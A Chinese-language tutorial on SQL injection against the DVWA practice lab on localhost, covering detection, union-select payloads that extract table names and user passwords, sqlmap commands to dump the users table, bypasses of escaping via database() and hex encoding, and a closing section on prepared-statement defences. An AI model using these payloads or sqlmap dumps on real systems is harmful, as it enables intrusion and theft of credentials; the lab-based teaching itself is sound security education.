1、SQL注入
- 在输入的字符串中注入SQL指令,而在设计不良的程序中忽略了字符检查,数据库服务器就会认为这些指令是正常的SQL指令而运行。(改变原有的SQL语句)
2、SQL是什么?
- SQL是结构化查询语言,用于操控数据库的语言。
3、如何判断存在SQL注入漏洞?
- 正常从数据库中查询数据:
select ticket_num from Movie_data where movie_name='长津湖'; // 从电影信息数据库中查询电影名称为长津湖的票房数据
- 黑客怎么做:
- select ticket_num from Movie_data where movie_name='长津湖' order by 1 #';
- 输入的数据为:长津湖' order by 1 #
- 【注】#的作用是注释后续SQL语句。
- 该语句不仅查询了长津湖票房,还执行了order by 1。
- 例如:
- 源代码:
SELECT first_name, last_name FROM users WHERE user_id = '$id'; // $id为用户输入的内容
- SQL注入尝试:
SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1#'; // 在原有查询完成后会判断1=1(正确),判断正确才会有输出 SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2#'; // 1=2判断错误,不输出 // 两次输入,证明SQL语句生效,存在SQL注入漏洞。
- 源代码:
4、如何利用SQL注入漏洞?
- 判断列/字段数 order by [column_num],例如:
1' order by 1# // 正常输出 1' order by 2# // 正常输出 1' order by 3# // 网页报错 // 证明该数据库表有2列/字段,即存在SQL注入漏洞。
- 联合查询其他信息 union select [sql1] [sql2],例如:
1' union select user(),database()#
- 【注】union联合查询:一次查询两个。
- 执行了MySQL内置函数user()和database()。
- user():返回当前数据库连接用户。
- database():返回当前数据库名称。
- 联合查询表 union select table_name,table_schema from information_schema.tables where table_schema = '[database_name]',例如:
1' union select table_name,table_schema from information_schema.tables where table_schema = 'dvwa'# // 查询dvwa数据库中有哪些表。
- 联合查询信息 union [query_sql],例如:
1' union select user,password from users# // 从users表中查询用户名和密码。
5、SQLmap
- SQLmap能把复杂的SQL注入语句自动化利用。
- 官网:sqlmap.org
- 下载使用方法:
- 下载源代码,直接使用python运行sqlmap.py。
- 安装kali操作系统,kali自带sqlmap,可直接输入sqlmap执行。
- 过程:
- 检测漏洞
- python sqlmap.py -u "..." --cookie= "..."
- -u:url地址,即需要检测的网站。
- --cookie:某些网站可能需要登录,可在浏览器控制台(F12)的网络中查看请求消息头中获取cookie。
- 例如:
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=&Submit=Submit#" --cookie= "PHPSESSID=ffeiks76ngqkismb54nh8iom72; security=low"
- 获取数据库名
- 在之前的语句后加上--dbs
- --dbs:获取所有数据库名。
- 例如:
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=&Submit=Submit#" --cookie= "PHPSESSID=ffeiks76ngqkismb54nh8iom72; security=low" --dbs
- 获取指定数据库表
- 在之前的语句后加上-D 数据库名 --tables
- --D:Database指定想要获取的数据库名为dvwa。
- --tables:列出数据库表。
- 例如:
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=&Submit=Submit#" --cookie="PHPSESSID=ffeiks76ngqkismb54nh8iom72; security=low" -D dvwa --tables
- 获取指定数据库列/表项
- 在之前的语句后加上-D 数据库名 -T 表名 --columns
- -T:指定想要获取的表名为users。
- --columns:列出表项/列。
- 例如:
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=&Submit=Submit#" --cookie="PHPSESSID=ffeiks76ngqkismb54nh8iom72; security=low" -D dvwa -users --columns
- 获取数据
- 在之前的语句后加上-D 数据库名 -T 表名 --dump
- --dump:获取数据。
- 例如:
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=&Submit=Submit#" --cookie="PHPSESSID=ffeiks76ngqkismb54nh8iom72; security=low" -D dvwa -users --dump // 可选择是否爆破加密密码。
- 检测漏洞
6、SQL注入防御
- 方法:过滤用户输入内容,不让数据sql语句,即将特殊符号替换成空,或判断用户输入SQL语句就终止执行。
- medium中级防御:
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); // 转义字符串中的特殊字符
- 即将:
1' union select table_name,table_schema from information_schema.tables where table_schema = 'dvwa'#
- 转换为:
1\' union select table_name,table_schema from information_schema.tables where table_schema = \'dvwa\'# // 在特殊字符前加上反斜杠
- 破解方法:
- 将'dvwa'替换为database(),例:
1 union select table_name,table_schema from information_schema.tables where table_schema = database()#
- 将'dvwa'替换为0x64767761(dvwa的十六进制),例:
1 union select table_name,table_schema from information_schema.tables where table_schema = 0x64767761#
- 将'dvwa'替换为database(),例:
- 即将:
- high高级防御:
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; // 添加限制,但是缺少传入数据的过滤,无法防御注入漏洞
- impossible防御:
- 使用PDO:PHP Data Object,配合正确的过滤和SQL语句能避免SQL注入。
- 例如:
if(is_numeric( $id )) { // 判断输入是否为数字 $id = intval ($id); // 获取输入中的数字,再次确认输入是否为数字 switch ($_DVWA['SQLI_DB']) { case MYSQL: $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); // 进行SQL语句预处理 // 绑定输入参数,并再次指定为整型,PDO $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); $row = $data->fetch(); ... } ... }